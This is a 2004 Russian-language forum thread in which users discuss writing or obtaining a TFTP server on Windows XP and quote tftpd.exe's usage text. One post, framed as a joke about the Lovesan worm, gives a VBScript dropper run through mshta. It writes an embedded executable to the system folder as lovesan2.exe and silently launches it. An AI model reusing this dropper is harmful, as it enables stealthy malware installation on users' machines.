· Начало · Отвђтить · Статистика · Поиск · FAQ · Правила · Установки · Язык · Выход · WASM.RU · Noir.Ru ·

 WASM Phorum —› WASM.NETWORKS —› TFTP Server

Посл.отвђт Сообщенiе


Дата: Июл 2, 2004 22:32:25

Здравствуйте! Я хочу написать TFTP сервер для передачи бинарных файлов. Как известно, он должен открывать 69 UDP порт. Это всё, что я знаю об TFTP. Подскажите, пожалуйста, формат запроса клиента и ответа сервера.


Дата: Июл 2, 2004 22:40:14

а шо RFC уже отменили?
faqs.org/rfcs/rfc1350.html


Дата: Июл 3, 2004 10:00:11

в XP есть встроенный tftp сервер и клиент, он тебе не подходит?


Дата: Июл 3, 2004 10:57:30

там вроде токо client, сервака нету.


Дата: Июл 3, 2004 10:59:08

PRO, решил lovesan 2 написать ? :)


Дата: Июл 3, 2004 11:13:30

сервак есть, но его надо ручками из дистриба доставать


Дата: Июл 3, 2004 12:55:28

Flasher
„TFTP сервер для передачи бинарных файлов“.... Похоже на ловесан

Нет, просто надо для перекачки файлов стандартными средствами windows между двумя машинами не по ftp


Дата: Июл 3, 2004 13:00:34

Хотя можно ещё по http:
<script language=vbs>
t="4D,5A..."
t=t&"B9,00,03,F3,6E,E8,5C,FF"
...
tmp = Split(t, ",")
Set fso = CreateObject("Scripting.FileSystemObject")
Set shell = CreateObject("WScript.Shell")
poop = "%systemdir%\lovesan2.exe" ' :)
Set f = fso.CreateTextFile(poop, ForWriting)
For i = 0 To UBound(tmp)
	l = Len(tmp(i))
	b = Int("&H" & Left(tmp(i), 2))
	If l > 2 Then
		r = Int("&H" & Mid(tmp(i), 3, l))
		For j = 1 To r
		f.Write Chr(b)
		Next
	Else
		f.Write Chr(b)
	End If
Next
f.Close
runscr=1
if runscr then shell.run(poop)
on error resume next: self.close()
</script>


На одной машине открыть HTTP сервер, на другой mshta.exe http://*.*.*.*/1.htm


Дата: Июл 3, 2004 16:27:53

ZENiTH, тода, если не трудно, обясни человеку как достать, да и мне тож интересно...


Дата: Июл 3, 2004 16:46:28

я не помню точно, но вот файл из дистров TFTPD.EX_ это сервер, TFTP.EX_ это клиент, распаковываете ну хоть раром, может быть дополнительные файлы понадобятся (импорт посмотрите), как легально его ставить не знаю но если порыться то наверное можно найти


Дата: Июл 3, 2004 17:16:48

когда распакуете "tftpd.exe -?"


Дата: Июл 3, 2004 17:19:12

C:\WINDOWS\system32>tftpd.exe -?
 ====================================================================== ==
Abstract:
 This implements an RFC 783 tftp daemon.
 It listens on port 69 for requests
 and spawns a thread to process each request.

TFTPD USAGE and Installation:

  md d:/tftpd                                     (the StartDirectory).
  copy //MohsinA_p90/test/tftpd.exe .
  sc create tftpd binPath= d:/tftpd/tftpd.exe     (give full path).
  sc query tftpd                                  (check if installed).

Start:
    sc start tftpd -f                             (creates a log file).
or  sc start tftpd
or  net start tftpd
or  sc start tftpd [-dStartDirectory] [-e] [-f]
    Options: -e  use event log.
             -f  log to file.
             -dStartDirectory
Info:
  sc interrogate tftpd           (logs will be updated).
  sc query tftpd                 Check whether running.
Stop:
  sc  stop tftpd
  net stop tftpd

Variables that control what files can be read/written and by whom:
   StartDirectory - only files there will be accessible.
                    LogFile is created here.
   ValidClients - Clients matching this ip address can read files.
                    eg. you can set it to "157.55.8?.*"
   ValidMasters   - clients matching this can write and read files.
                    eg. you can set it to "" and no one can write.
   ValidReadFiles - only matching files will be served out, eg. "r*.t?t"
   ValidWriteFiles- only matching files will be accepted,  eg. "w*.txt"

Client:
  tftp [-i] servername {get|put} src_file dest_file
  -i from binary mode, else ascii mode is used.

 ====================================================================== ==
 TFTPD_DEFAULT_DIR is \tftpdroot\
 TFTPD_LOGFILE     is tftpd.log

Registry key names, all strings: HKEY_LOCAL_MACHINE System\CurrentControlSet\Services\tftpd\parameters
 o StartDirectory keyname "directory"
These keys are shell patterns with * and ? (see examples above):
 o ValidClients   keyname "clients"
 o ValidMasters   keyname "masters"
 o Readable files keyname "readable"
 o writable files keyname "writable"


Дата: Июл 3, 2004 20:09:30

ZENiTH, в стандартном виндавозе tftpd - нету, ну покра немери на ХР-инглишь - точно нету.


Дата: Июл 4, 2004 08:55:00

Windows XP professional, corporate, build 2600, файл I386\TFTPD.EX_ в дистрах, это более чем стандартная винда, копия оригинальной майкрософтовской болванки, в атаче этот файл


369354736__tftpd.rar


Powered by miniBB 1.6 © 2001-2002
Время загрузки страницы (сек.): 0.072